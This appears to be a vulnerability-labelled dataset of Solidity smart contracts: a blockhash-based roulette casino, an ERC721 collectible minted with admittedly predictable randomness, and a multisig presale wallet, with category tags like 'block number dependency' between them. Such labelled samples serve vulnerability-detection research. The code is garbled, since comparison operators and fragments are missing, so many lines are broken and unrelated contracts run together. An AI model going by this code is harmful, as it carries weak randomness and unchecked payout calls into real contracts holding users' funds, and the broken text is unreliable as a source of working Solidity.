www.Rouleth.com // // // All documentation on playing and investing are on the website. // // News : www.reddit.com/r/Rouleth // twitter : https://twitter.com/TheRouleth // // Github : https://github.com/Bunjin/Rouleth // // check latest contract version on website // V 1.2 // // *** coded by WhySoS3rious, 2016. ***// // *** please do not copy without authorization ***// // *** contact : reddit /u/WhySoS3rious ***// // // // Stake : Variable, check on website for the max bet. contract Rouleth { //Variables, Structure address developer; uint8 blockDelay; //nb of blocks to wait before spin uint8 blockExpiration; //nb of blocks before bet expiration (due to hash storage limits) uint256 maxGamble; //max gamble value manually set by config uint maxBetsPerBlock; //limits the number of bets per blocks to prevent miner cheating uint nbBetsCurrentBlock; //counts the nb of bets in the block uint casinoStatisticalLimit; //Current gamble value possibly lower than config (uint) gambleIndex; //current gamble index of the player enum Status {waitingForBet, waitingForSpin} mapping (address=>Status) playerStatus; //records current status of player //********************************************** // Management & Config FUNCTIONS // //********************************************** function Rouleth() private //creation settings { developer = msg.sender; blockDelay=2; //delay to wait between bet and spin blockExpiration=200; //delay after which gamble expires maxGamble=500 finney; //configurable max bet maxBetsPerBlock=5; // limit of bets per block, to prevent multiple bets per miners casinoStatisticalLimit=20; } modifier onlyDeveloper() { if (msg.sender!=developer) throw; _ } function changeDeveloper(address new_dev) noEthSent onlyDeveloper { developer=new_dev; } //Activate, Deactivate Betting enum States{active, inactive} States private state; function disableBetting() noEthSent onlyDeveloper { state=States.inactive; } function enableBetting() onlyDeveloper noEthSent { state=States.active; } modifier onlyActive { if (state==States.inactive) throw; _ } //Change some settings within safety bounds function changeSettings(uint newCasinoStatLimit, uint newMaxBetsBlock, uint256 newMaxGamble, uint8 newMaxInvestor, uint256 newMinInvestment, uint256 newLockPeriod, uint8 newBlockDelay, uint8 newBlockExpiration) noEthSent onlyDeveloper { // changes the statistical multiplier that guarantees the long run casino survival if (newCasinoStatLimit<10) throw; casinoStatisticalLimit=newCasinoStatLimit; //Max number of bets per block to prevent miner cheating maxBetsPerBlock=newMaxBetsBlock; //MAX BET : limited by payroll/(casinoStatisticalLimit*35) for statiscal confidence in longevity of casino if (newMaxGamble<=0) throw; else { maxGamble=newMaxGamble; } //MAX NB of INVESTORS (can only increase and max of 149) if (newMaxInvestor149) throw; else { setting_maxInvestors=newMaxInvestor;} //MIN INVEST : setting_minInvestment=newMinInvestment; //Invest LOCK PERIOD if (setting_lockPeriod>90 days) throw; //3 months max setting_lockPeriod=newLockPeriod; //Delay before roll : if (blockDelay<1) throw; blockDelay=newBlockDelay; updateMaxBet(); if (newBlockExpiration<50) throw; blockExpiration=newBlockExpiration; } //********************************************** // BETTING FUNCTIONS // //********************************************** //***//basic betting without Mist or contract call //activates when the player only sends eth to the contract //without specifying any type of bet. function () { //if player is not playing : bet on Red if (playerStatus[msg.sender]==Status.waitingForBet) betOnColor(true,false); //if player is already playing, spin the wheel else spinTheWheel(); } function updateMaxBet() private { //check that maxGamble setting is still within safety bounds if (payroll/(casinoStatisticalLimit*35) > maxGamble) { currentMaxGamble=maxGamble; } else { currentMaxGamble = payroll/(casinoStatisticalLimit*35); } } //***//Guarantees that gamble is under (statistical) safety limits for casino survival. function checkBetValue() private returns(uint256 playerBetValue) { updateMaxBet(); if (msg.value > currentMaxGamble) //if above max, send difference back { if (msg.sender.send(msg.value-currentMaxGamble)==false) throw; playerBetValue=currentMaxGamble; } else { playerBetValue=msg.value; } return; } //check number of bets in block (to prevent miner cheating) modifier checkNbBetsCurrentBlock() { if (gambles.length!=0 && block.number==gambles[gambles.length-1].blockNumber) nbBetsCurrentBlock+=1; else nbBetsCurrentBlock=0; if (nbBetsCurrentBlock>=maxBetsPerBlock) throw; _ } //check that the player is not playing already (unless it has expired) modifier checkWaitingForBet{ //if player is already in gamble if (playerStatus[msg.sender]!=Status.waitingForBet) { //case not expired if (gambles[gambleIndex[msg.sender]].blockNumber+blockExpiration>block.number) throw; //case expired else { //add bet to PL and reset status solveBet(msg.sender, 255, false, 0) ; } } _ } function updateStatusPlayer() private expireGambles { playerStatus[msg.sender]=Status.waitingForSpin; gambleIndex[msg.sender]=gambles.length; } //***//bet on Number function betOnNumber(uint8 numberChosen) checkWaitingForBet onlyActive checkNbBetsCurrentBlock { updateStatusPlayer(); //check that number chosen is valid and records bet if (numberChosen>36) throw; //adapts wager to casino limits uint256 betValue= checkBetValue(); gambles.push(Gamble(msg.sender, false, false, BetTypes.number, numberChosen, betValue, block.number, 37)); } //***// function betOnColor //bet type : color //input : 0 for red //input : 1 for black function betOnColor(bool Red, bool Black) checkWaitingForBet onlyActive checkNbBetsCurrentBlock { updateStatusPlayer(); uint8 count; uint8 input; if (Red) { count+=1; input=0; } if (Black) { count+=1; input=1; } if (count!=1) throw; //check that wager is under limit uint256 betValue= checkBetValue(); gambles.push(Gamble(msg.sender, false, false, BetTypes.color, input, betValue, block.number, 37)); } //***// function betOnLow_High //bet type : lowhigh //input : 0 for low //input : 1 for low function betOnLowHigh(bool Low, bool High) checkWaitingForBet onlyActive checkNbBetsCurrentBlock { updateStatusPlayer(); uint8 count; uint8 input; if (Low) { count+=1; input=0; } if (High) { count+=1; input=1; } if (count!=1) throw; //check that wager is under limit uint256 betValue= checkBetValue(); gambles.push(Gamble(msg.sender, false, false, BetTypes.lowhigh, input, betValue, block.number, 37)); } //***// function betOnOdd_Even //bet type : parity //input : 0 for even //input : 1 for odd function betOnOddEven(bool Odd, bool Even) checkWaitingForBet onlyActive checkNbBetsCurrentBlock { updateStatusPlayer(); uint8 count; uint8 input; if (Even) { count+=1; input=0; } if (Odd) { count+=1; input=1; } if (count!=1) throw; //check that wager is under limit uint256 betValue= checkBetValue(); gambles.push(Gamble(msg.sender, false, false, BetTypes.parity, input, betValue, block.number, 37)); } //***// function betOnDozen // //bet type : dozen // //input : 0 for first dozen // //input : 1 for second dozen // //input : 2 for third dozen function betOnDozen(bool First, bool Second, bool Third) { betOnColumnOrDozen(First,Second,Third, BetTypes.dozen); } // //***// function betOnColumn // //bet type : column // //input : 0 for first column // //input : 1 for second column // //input : 2 for third column function betOnColumn(bool First, bool Second, bool Third) { betOnColumnOrDozen(First, Second, Third, BetTypes.column); } function betOnColumnOrDozen(bool First, bool Second, bool Third, BetTypes bet) private checkWaitingForBet onlyActive checkNbBetsCurrentBlock { updateStatusPlayer(); uint8 count; uint8 input; if (First) { count+=1; input=0; } if (Second) { count+=1; input=1; } if (Third) { count+=1; input=2; } if (count!=1) throw; //check that wager is under limit uint256 betValue= checkBetValue(); gambles.push(Gamble(msg.sender, false, false, bet, input, betValue, block.number, 37)); } //********************************************** // Spin The Wheel & Check Result FUNCTIONS// //********************************************** event Win(address player, uint8 result, uint value_won); event Loss(address player, uint8 result, uint value_loss); //check that player has to spin the wheel modifier checkWaitingForSpin{ if (playerStatus[msg.sender]!=Status.waitingForSpin) throw; _ } //Prevents accidental sending of Eth when you shouldn't modifier noEthSent() { if (msg.value>0) { if (msg.sender.send(msg.value)==false) throw; } _ } //***//function to spin function spinTheWheel() noEthSent checkWaitingForSpin { //check that the player waited for the delay before spin //and also that the bet is not expired uint playerblock = gambles[gambleIndex[msg.sender]].blockNumber; if (block.numberplayerblock+blockExpiration) throw; else { uint8 wheelResult; //Spin the wheel, Reset player status and record result wheelResult = uint8(uint256(block.blockhash(playerblock+blockDelay))%37); gambles[gambleIndex[msg.sender]].wheelResult=wheelResult; //check result against bet and pay if win checkBetResult(wheelResult, gambles[gambleIndex[msg.sender]].betType); updateFirstActiveGamble(); } } //update pointer of first gamble not spinned function updateFirstActiveGamble() private { for (uint k=firstActiveGamble; k<=firstActiveGamble+50; k++) //limit the update to 50 to cap the gas cost and share the work among users { if (k>=gambles.length || !gambles[k].spinned) { firstActiveGamble=k; break; } } } //checks if there are expired gambles modifier expireGambles{ if ( gambles.length!=0 && gambles.length-1>=firstActiveGamble && gambles[firstActiveGamble].blockNumber + blockExpiration <= block.number && !gambles[firstActiveGamble].spinned ) { solveBet(gambles[firstActiveGamble].player, 255, false, 0); //expires } updateFirstActiveGamble(); //update pointer _ } //CHECK BETS FUNCTIONS private function checkBetResult(uint8 result, BetTypes betType) private { //bet on Number if (betType==BetTypes.number) checkBetNumber(result); else if (betType==BetTypes.parity) checkBetParity(result); else if (betType==BetTypes.color) checkBetColor(result); else if (betType==BetTypes.lowhigh) checkBetLowhigh(result); else if (betType==BetTypes.dozen) checkBetDozen(result); else if (betType==BetTypes.column) checkBetColumn(result); updateMaxBet(); } // function solve Bet once result is determined : sends to winner, adds loss to profit function solveBet(address player, uint8 result, bool win, uint8 multiplier) private { playerStatus[player]=Status.waitingForBet; gambles[gambleIndex[player]].spinned=true; uint bet_v = gambles[gambleIndex[player]].wager; if (win) { if (player!=gambles[gambleIndex[player]].player) throw; //security failcheck gambles[gambleIndex[player]].win=true; uint win_v = multiplier*bet_v; lossSinceChange+=win_v-bet_v; Win(player, result, win_v); if (player.send(win_v)==false) throw; } else { Loss(player, result, bet_v); profitSinceChange+=bet_v; } } // checkbeton number(input) // bet type : number // input : chosen number function checkBetNumber(uint8 result) private { bool win; //win if (result==gambles[gambleIndex[msg.sender]].input) { win=true; } solveBet(msg.sender, result,win,36); } // checkbet on oddeven // bet type : parity // input : 0 for even, 1 for odd function checkBetParity(uint8 result) private { bool win; //win if (result%2==gambles[gambleIndex[msg.sender]].input && result!=0) { win=true; } solveBet(msg.sender,result,win,2); } // checkbet on lowhigh // bet type : lowhigh // input : 0 low, 1 high function checkBetLowhigh(uint8 result) private { bool win; //win if (result!=0 && ( (result<19 && gambles[gambleIndex[msg.sender]].input==0) || (result>18 && gambles[gambleIndex[msg.sender]].input==1) ) ) { win=true; } solveBet(msg.sender,result,win,2); } // checkbet on color // bet type : color // input : 0 red, 1 black uint[18] red_list=[1,3,5,7,9,12,14,16,18,19,21,23,25,27,30,32,34,36]; function checkBetColor(uint8 result) private { bool red; //check if red for (uint8 k; k<18; k++) { if (red_list[k]==result) { red=true; break; } } bool win; //win if ( result!=0 && ( (gambles[gambleIndex[msg.sender]].input==0 && red) || ( gambles[gambleIndex[msg.sender]].input==1 && !red) ) ) { win=true; } solveBet(msg.sender,result,win,2); } // checkbet on dozen // bet type : dozen // input : 0 first, 1 second, 2 third function checkBetDozen(uint8 result) private { bool win; //win on first dozen if ( result!=0 && ( (result<13 && gambles[gambleIndex[msg.sender]].input==0) || (result>12 && result<25 && gambles[gambleIndex[msg.sender]].input==1) || (result>24 && gambles[gambleIndex[msg.sender]].input==2) ) ) { win=true; } solveBet(msg.sender,result,win,3); } // checkbet on column // bet type : column // input : 0 first, 1 second, 2 third function checkBetColumn(uint8 result) private { bool win; //win if ( result!=0 && ( (gambles[gambleIndex[msg.sender]].input==0 && result%3==1) || ( gambles[gambleIndex[msg.sender]].input==1 && result%3==2) || ( gambles[gambleIndex[msg.sender]].input==2 && result%3==0) ) ) { win=true; } solveBet(msg.sender,result,win,3); } //INVESTORS FUNCTIONS //total casino payroll uint256 payroll; //Profit Loss since last investor change uint256 profitSinceChange; uint256 lossSinceChange; //investor struct array (hard capped to 150) uint8 setting_maxInvestors = 50; struct Investor { address investor; uint256 time; } Investor[250] private investors ; //Balances of the investors mapping (address=>uint256) balance; //Investor lockPeriod //lock time to avoid invest and withdraw for refresh only //also time during which you cannot be outbet by a new investor if it is full uint256 setting_lockPeriod=30 days ; uint256 setting_minInvestment=10 ether; //min amount to send when using invest() //if full and unlocked position, indicates the cheapest amount to outbid //otherwise cheapestUnlockedPosition=255 uint8 cheapestUnlockedPosition; uint256 minCurrentInvest; //record open position index // =255 if full uint8 openPosition; event newInvest(address player, uint invest_v); function invest() { // check that min 10 ETH is sent (variable setting) if (msg.valuebalance[msg.sender]) throw; //retrieve investor ID uint8 investorID=255; for (uint8 k = 0; know) throw; //if balance left after withdraw is still above min investment accept partial withdraw if (balance[msg.sender]-amountToWithdrawInWei>=setting_minInvestment && amountToWithdrawInWei!=0) { balance[msg.sender]-=amountToWithdrawInWei; payroll-=amountToWithdrawInWei; //send amount to investor (with security if transaction fails) if (msg.sender.send(amountToWithdrawInWei)==false) throw; withdraw(msg.sender, amountToWithdrawInWei); } else //if amountToWithdraw=0 : user wants full withdraw //if balance after withdraw is < min invest, withdraw all and delete investor { //send amount to investor (with security if transaction fails) uint256 fullAmount=balance[msg.sender]; payroll-=fullAmount; balance[msg.sender]=0; //delete investor delete investors[investorID]; if (msg.sender.send(fullAmount)==false) throw; withdraw(msg.sender, fullAmount); } updateMaxBet(); } //***// updates balances with Profit Losses when there is a withdraw/deposit of investors function manualUpdateBalances() expireGambles noEthSent onlyDeveloper { updateBalances(); } function updateBalances() private { //split Profits uint256 profitToSplit; uint256 lossToSplit; if (profitSinceChange==0 && lossSinceChange==0) { return; } else { // Case : Global profit (more win than losses) // 2% fees for developer on global profit (if profit>loss) if (profitSinceChange>lossSinceChange) { profitToSplit=profitSinceChange-lossSinceChange; uint256 developerFees=profitToSplit*2/100; profitToSplit-=developerFees; if (developer.send(developerFees)==false) throw; } else { lossToSplit=lossSinceChange-profitSinceChange; } //share the loss and profits between all invest //(proportionnaly. to each investor balance) uint totalShared; for (uint8 k=0; k bool) internal supportedInterfaces; constructor() public { _registerInterface(InterfaceId_ERC165); } function supportsInterface(bytes4 _interfaceId) external view returns (bool) { return supportedInterfaces[_interfaceId]; } function _registerInterface(bytes4 _interfaceId) internal { require(_interfaceId != 0xffffffff); supportedInterfaces[_interfaceId] = true; } } contract ERC721Basic is ERC165 { bytes4 internal constant InterfaceId_ERC721 = 0x80ac58cd; bytes4 internal constant InterfaceId_ERC721Exists = 0x4f558e79; bytes4 internal constant InterfaceId_ERC721Enumerable = 0x780e9d63; bytes4 internal constant InterfaceId_ERC721Metadata = 0x5b5e139f; event Transfer( address indexed _from, address indexed _to, uint256 indexed _tokenId ); event Approval( address indexed _owner, address indexed _approved, uint256 indexed _tokenId ); event ApprovalForAll( address indexed _owner, address indexed _operator, bool _approved ); function balanceOf(address _owner) public view returns (uint256 _balance); function ownerOf(uint256 _tokenId) public view returns (address _owner); function exists(uint256 _tokenId) public view returns (bool _exists); function approve(address _to, uint256 _tokenId) public; function getApproved(uint256 _tokenId) public view returns (address _operator); function setApprovalForAll(address _operator, bool _approved) public; function isApprovedForAll(address _owner, address _operator) public view returns (bool); function transferFrom(address _from, address _to, uint256 _tokenId) public; function safeTransferFrom(address _from, address _to, uint256 _tokenId) public; function safeTransferFrom( address _from, address _to, uint256 _tokenId, bytes _data ) public; } contract ERC721Enumerable is ERC721Basic { function totalSupply() public view returns (uint256); function tokenOfOwnerByIndex( address _owner, uint256 _index ) public view returns (uint256 _tokenId); function tokenByIndex(uint256 _index) public view returns (uint256); } contract ERC721Metadata is ERC721Basic { function name() external view returns (string _name); function symbol() external view returns (string _symbol); function tokenURI(uint256 _tokenId) public view returns (string); } contract ERC721 is ERC721Basic, ERC721Enumerable, ERC721Metadata { } contract ERC721Receiver { bytes4 internal constant ERC721_RECEIVED = 0x150b7a02; function onERC721Received( address _operator, address _from, uint256 _tokenId, bytes _data ) public returns(bytes4); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } library AddressUtils { function isContract(address addr) internal view returns (bool) { uint256 size; assembly { size := extcodesize(addr) } return size > 0; } } contract ERC721BasicToken is SupportsInterfaceWithLookup, ERC721Basic { using SafeMath for uint256; using AddressUtils for address; bytes4 private constant ERC721_RECEIVED = 0x150b7a02; mapping (uint256 => address) internal tokenOwner; mapping (uint256 => address) internal tokenApprovals; mapping (address => uint256) internal ownedTokensCount; mapping (address => mapping (address => bool)) internal operatorApprovals; constructor() public { _registerInterface(InterfaceId_ERC721); _registerInterface(InterfaceId_ERC721Exists); } function balanceOf(address _owner) public view returns (uint256) { require(_owner != address(0)); return ownedTokensCount[_owner]; } function ownerOf(uint256 _tokenId) public view returns (address) { address owner = tokenOwner[_tokenId]; require(owner != address(0)); return owner; } function exists(uint256 _tokenId) public view returns (bool) { address owner = tokenOwner[_tokenId]; return owner != address(0); } function approve(address _to, uint256 _tokenId) public { address owner = ownerOf(_tokenId); require(_to != owner); require(msg.sender == owner || isApprovedForAll(owner, msg.sender)); tokenApprovals[_tokenId] = _to; emit Approval(owner, _to, _tokenId); } function getApproved(uint256 _tokenId) public view returns (address) { return tokenApprovals[_tokenId]; } function setApprovalForAll(address _to, bool _approved) public { require(_to != msg.sender); operatorApprovals[msg.sender][_to] = _approved; emit ApprovalForAll(msg.sender, _to, _approved); } function isApprovedForAll( address _owner, address _operator ) public view returns (bool) { return operatorApprovals[_owner][_operator]; } function transferFrom( address _from, address _to, uint256 _tokenId ) public { require(isApprovedOrOwner(msg.sender, _tokenId)); require(_from != address(0)); require(_to != address(0)); clearApproval(_from, _tokenId); removeTokenFrom(_from, _tokenId); addTokenTo(_to, _tokenId); emit Transfer(_from, _to, _tokenId); } function safeTransferFrom( address _from, address _to, uint256 _tokenId ) public { safeTransferFrom(_from, _to, _tokenId, """"); } function safeTransferFrom( address _from, address _to, uint256 _tokenId, bytes _data ) public { transferFrom(_from, _to, _tokenId); require(checkAndCallSafeTransfer(_from, _to, _tokenId, _data)); } function isApprovedOrOwner( address _spender, uint256 _tokenId ) internal view returns (bool) { address owner = ownerOf(_tokenId); return ( _spender == owner || getApproved(_tokenId) == _spender || isApprovedForAll(owner, _spender) ); } function _mint(address _to, uint256 _tokenId) internal { require(_to != address(0)); addTokenTo(_to, _tokenId); emit Transfer(address(0), _to, _tokenId); } function _burn(address _owner, uint256 _tokenId) internal { clearApproval(_owner, _tokenId); removeTokenFrom(_owner, _tokenId); emit Transfer(_owner, address(0), _tokenId); } function clearApproval(address _owner, uint256 _tokenId) internal { require(ownerOf(_tokenId) == _owner); if (tokenApprovals[_tokenId] != address(0)) { tokenApprovals[_tokenId] = address(0); } } function addTokenTo(address _to, uint256 _tokenId) internal { require(tokenOwner[_tokenId] == address(0)); tokenOwner[_tokenId] = _to; ownedTokensCount[_to] = ownedTokensCount[_to].add(1); } function removeTokenFrom(address _from, uint256 _tokenId) internal { require(ownerOf(_tokenId) == _from); ownedTokensCount[_from] = ownedTokensCount[_from].sub(1); tokenOwner[_tokenId] = address(0); } function checkAndCallSafeTransfer( address _from, address _to, uint256 _tokenId, bytes _data ) internal returns (bool) { if (!_to.isContract()) { return true; } bytes4 retval = ERC721Receiver(_to).onERC721Received( msg.sender, _from, _tokenId, _data); return (retval == ERC721_RECEIVED); } } contract ERC721Token is SupportsInterfaceWithLookup, ERC721BasicToken, ERC721 { string internal name_; string internal symbol_; mapping(address => uint256[]) internal ownedTokens; mapping(uint256 => uint256) internal ownedTokensIndex; uint256[] internal allTokens; mapping(uint256 => uint256) internal allTokensIndex; mapping(uint256 => string) internal tokenURIs; constructor(string _name, string _symbol) public { name_ = _name; symbol_ = _symbol; _registerInterface(InterfaceId_ERC721Enumerable); _registerInterface(InterfaceId_ERC721Metadata); } function name() external view returns (string) { return name_; } function symbol() external view returns (string) { return symbol_; } function tokenURI(uint256 _tokenId) public view returns (string) { require(exists(_tokenId)); return tokenURIs[_tokenId]; } function tokenOfOwnerByIndex( address _owner, uint256 _index ) public view returns (uint256) { require(_index < balanceOf(_owner)); return ownedTokens[_owner][_index]; } function totalSupply() public view returns (uint256) { return allTokens.length; } function tokenByIndex(uint256 _index) public view returns (uint256) { require(_index < totalSupply()); return allTokens[_index]; } function _setTokenURI(uint256 _tokenId, string _uri) internal { require(exists(_tokenId)); tokenURIs[_tokenId] = _uri; } function addTokenTo(address _to, uint256 _tokenId) internal { super.addTokenTo(_to, _tokenId); uint256 length = ownedTokens[_to].length; ownedTokens[_to].push(_tokenId); ownedTokensIndex[_tokenId] = length; } function removeTokenFrom(address _from, uint256 _tokenId) internal { super.removeTokenFrom(_from, _tokenId); uint256 tokenIndex = ownedTokensIndex[_tokenId]; uint256 lastTokenIndex = ownedTokens[_from].length.sub(1); uint256 lastToken = ownedTokens[_from][lastTokenIndex]; ownedTokens[_from][tokenIndex] = lastToken; ownedTokens[_from].length--; ownedTokensIndex[_tokenId] = 0; ownedTokensIndex[lastToken] = tokenIndex; } function _mint(address _to, uint256 _tokenId) internal { super._mint(_to, _tokenId); allTokensIndex[_tokenId] = allTokens.length; allTokens.push(_tokenId); } function _burn(address _owner, uint256 _tokenId) internal { super._burn(_owner, _tokenId); if (bytes(tokenURIs[_tokenId]).length != 0) { delete tokenURIs[_tokenId]; } uint256 tokenIndex = allTokensIndex[_tokenId]; uint256 lastTokenIndex = allTokens.length.sub(1); uint256 lastToken = allTokens[lastTokenIndex]; allTokens[tokenIndex] = lastToken; allTokens[lastTokenIndex] = 0; allTokens.length--; allTokensIndex[_tokenId] = 0; allTokensIndex[lastToken] = tokenIndex; } } contract Nifties is ERC721Token { constructor() public ERC721Token(""Nifties"",""NIFTIES"") { } struct Token{ uint8 body; uint8 feet; uint8 head; uint8 mouth; uint64 birthBlock; } Token[] private tokens; function create() public returns (uint256 _tokenId) { bytes32 sudoRandomButTotallyPredictable = keccak256(abi.encodePacked(totalSupply(),blockhash(block.number - 1))); uint8 body = (uint8(sudoRandomButTotallyPredictable[0])%5)+1; uint8 feet = (uint8(sudoRandomButTotallyPredictable[1])%7)+1; uint8 head = (uint8(sudoRandomButTotallyPredictable[2])%7)+1; uint8 mouth = (uint8(sudoRandomButTotallyPredictable[3])%8)+1; string memory tokenUri = createTokenUri(body,feet,head,mouth); Token memory _newToken = Token({ body: body, feet: feet, head: head, mouth: mouth, birthBlock: uint64(block.number) }); _tokenId = tokens.push(_newToken) - 1; _mint(msg.sender,_tokenId); _setTokenURI(_tokenId, tokenUri); emit Create(_tokenId,msg.sender,body,feet,head,mouth,_newToken.birthBlock,tokenUri); return _tokenId; } event Create( uint _id, address indexed _owner, uint8 _body, uint8 _feet, uint8 _head, uint8 _mouth, uint64 _birthBlock, string _uri ); function get(uint256 _id) public view returns (address owner,uint8 body,uint8 feet,uint8 head,uint8 mouth,uint64 birthBlock) { return ( tokenOwner[_id], tokens[_id].body, tokens[_id].feet, tokens[_id].head, tokens[_id].mouth, tokens[_id].birthBlock ); } function tokensOfOwner(address _owner) public view returns(uint256[]) { return ownedTokens[_owner]; } function createTokenUri(uint8 body,uint8 feet,uint8 head,uint8 mouth) internal returns (string){ string memory uri = ""https://nifties.io/tokens/nifties-""; uri = appendUint8ToString(uri,body); uri = strConcat(uri,""-""); uri = appendUint8ToString(uri,feet); uri = strConcat(uri,""-""); uri = appendUint8ToString(uri,head); uri = strConcat(uri,""-""); uri = appendUint8ToString(uri,mouth); uri = strConcat(uri,"".png""); return uri; } function appendUint8ToString(string inStr, uint8 v) internal constant returns (string str) { uint maxlength = 100; bytes memory reversed = new bytes(maxlength); uint i = 0; while (v != 0) { uint remainder = v % 10; v = v / 10; reversed[i++] = byte(48 + remainder); } bytes memory inStrb = bytes(inStr); bytes memory s = new bytes(inStrb.length + i); uint j; for (j = 0; j < inStrb.length; j++) { s[j] = inStrb[j]; } for (j = 0; j < i; j++) { s[j + inStrb.length] = reversed[i - 1 - j]; } str = string(s); } function strConcat(string _a, string _b) internal pure returns (string) { bytes memory _ba = bytes(_a); bytes memory _bb = bytes(_b); string memory ab = new string(_ba.length + _bb.length); bytes memory bab = bytes(ab); uint k = 0; for (uint i = 0; i < _ba.length; i++) bab[k++] = _ba[i]; for (i = 0; i < _bb.length; i++) bab[k++] = _bb[i]; return string(bab); } }",./Dataset/block number dependency (BN),0,0 37518.sol,"pragma solidity ^0.4.4; /// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution. /// @author Stefan George - <[email protected]> contract MultiSigWallet { uint constant public MAX_OWNER_COUNT = 50; event Confirmation(address indexed sender, uint indexed transactionId); event Revocation(address indexed sender, uint indexed transactionId); event Submission(uint indexed transactionId); event Execution(uint indexed transactionId); event ExecutionFailure(uint indexed transactionId); event Deposit(address indexed sender, uint value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint required); mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; struct Transaction { address destination; uint value; bytes data; bool executed; } modifier onlyWallet() { if (msg.sender != address(this)) throw; _; } modifier ownerDoesNotExist(address owner) { if (isOwner[owner]) throw; _; } modifier ownerExists(address owner) { if (!isOwner[owner]) throw; _; } modifier transactionExists(uint transactionId) { if (transactions[transactionId].destination == 0) throw; _; } modifier confirmed(uint transactionId, address owner) { if (!confirmations[transactionId][owner]) throw; _; } modifier notConfirmed(uint transactionId, address owner) { if (confirmations[transactionId][owner]) throw; _; } modifier notExecuted(uint transactionId) { if (transactions[transactionId].executed) throw; _; } modifier notNull(address _address) { if (_address == 0) throw; _; } modifier validRequirement(uint ownerCount, uint _required) { if ( ownerCount > MAX_OWNER_COUNT || _required > ownerCount || _required == 0 || ownerCount == 0) throw; _; } /// @dev Fallback function allows to deposit ether. function() payable { if (msg.value > 0) Deposit(msg.sender, msg.value); } /* * Public functions */ /// @dev Contract constructor sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. function MultiSigWallet(address[] _owners, uint _required) public validRequirement(_owners.length, _required) { for (uint i=0; i<_owners.length; i++) { if (isOwner[_owners[i]] || _owners[i] == 0) throw; isOwner[_owners[i]] = true; } owners = _owners; required = _required; } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint i=0; i owners.length) changeRequirement(owners.length); OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param owner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i=0; i 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Multi signature wallet for presale of Starbase crowdsale * @author Starbase PTE. LTD. - <[email protected]> */ contract StarbasePresaleWallet is MultiSigWallet { /* * Storage */ uint256 public maxCap; // in Wei uint256 public totalPaidAmount; // in Wei struct WhitelistAddresses { uint256 capForAmountRaised; uint256 amountRaised; bool bonaFide; } mapping (address => WhitelistAddresses) public whitelistedAddresses; /* * functions */ /** * @dev Contract constructor sets initial owners and required number of confirmations. * @param _owners List of initial owners. * @param _required Number of required confirmations. * @param _maxCap Maximum pre-purchase cap of this wallet */ function StarbasePresaleWallet(address[] _owners, uint256 _required, uint256 _maxCap) public MultiSigWallet(_owners, _required) { maxCap = _maxCap; } /* * External functions */ /** * @dev Add whitelisted address to the presale. * @param addressToWhitelist Address to be added to the list. * @param capAmount Amount that the address is able to raise during the presale. */ function whitelistAddress(address addressToWhitelist, uint256 capAmount) external ownerExists(msg.sender) { assert(!whitelistedAddresses[addressToWhitelist].bonaFide); whitelistedAddresses[addressToWhitelist].bonaFide = true; whitelistedAddresses[addressToWhitelist].capForAmountRaised = capAmount; } /** * @dev Remove address the presale list. * @param addressToUnwhitelist Address to be removed from the list. */ function unwhitelistAddress(address addressToUnwhitelist) external ownerExists(msg.sender) { assert(whitelistedAddresses[addressToUnwhitelist].bonaFide); whitelistedAddresses[addressToUnwhitelist].bonaFide = false; } /** * @dev Update whitelisted address amount allowed to raise during the presale. * @param whitelistedAddress Address that is updated. * @param capAmount Amount that the address is able to raise during the presale. */ function changeWhitelistedAddressCapAmount(address whitelistedAddress, uint256 capAmount) external ownerExists(msg.sender) { assert(whitelistedAddresses[whitelistedAddress].bonaFide); whitelistedAddresses[whitelistedAddress].capForAmountRaised = capAmount; } /** * @dev Update the maximum cap of this wallet * @param _maxCap New maximum cap */ function changeMaxCap(uint256 _maxCap) external ownerExists(msg.sender) { assert(totalPaidAmount <= _maxCap); maxCap = _maxCap; } /* * Public functions */ /** * @dev Payment function that accepts ETH from whitelisted addresses till cap is reached */ function payment() payable { require(msg.value > 0 && this.balance <= maxCap); require(whitelistedAddresses[msg.sender].bonaFide); whitelistedAddresses[msg.sender].amountRaised = SafeMath.add(msg.value, whitelistedAddresses[msg.sender].amountRaised); assert(whitelistedAddresses[msg.sender].amountRaised <= whitelistedAddresses[msg.sender].capForAmountRaised); totalPaidAmount = SafeMath.add(totalPaidAmount, msg.value); Deposit(msg.sender, msg.value); } /** * @dev Fallback accepts ETH */ function () payable { payment(); } }",./Dataset/unchecked external call (UC),7,7 10808.sol," pragma solidity ^0.4.8; contract SafeMath { function safeMul(uint a, uint b) internal returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function safeDiv(uint a, uint b) internal returns (uint) { assert(b > 0); uint c = a / b; assert(a == b * c + a % b); return c; } function safeSub(uint a, uint b) internal returns (uint) { assert(b <= a); return a - b; } function safeAdd(uint a, uint b) internal returns (uint) { uint c = a + b; assert(c>=a && c>=b); return c; } function max64(uint64 a, uint64 b) internal constant returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal constant returns (uint64) { return a < b 